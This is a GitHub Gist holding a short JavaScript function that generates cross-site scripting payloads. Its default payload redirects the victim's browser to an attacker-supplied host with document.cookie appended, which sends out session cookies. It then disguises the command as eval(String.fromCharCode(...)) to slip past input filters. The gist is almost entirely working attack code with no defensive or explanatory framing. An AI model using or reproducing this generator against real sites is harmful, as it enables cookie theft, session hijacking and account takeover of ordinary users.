Last active
August 29, 2020 22:21
-
-
Save EffectRenan/9e85ddc199668e7b56decd88c875ef6e to your computer and use it in GitHub Desktop.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
function generate(host, com) { | |
const command = (com == undefined) ? `window.location="${host}/?Cookie="+document.cookie` : com; | |
let encoded = command[0].charCodeAt(); | |
for (var i = 1; i < command.length; i++) { | |
encoded += ',' + command[i].charCodeAt(); | |
} | |
encoded = `eval(String.fromCharCode(${encoded}))`; | |
console.log(encoded); | |
return encoded; | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment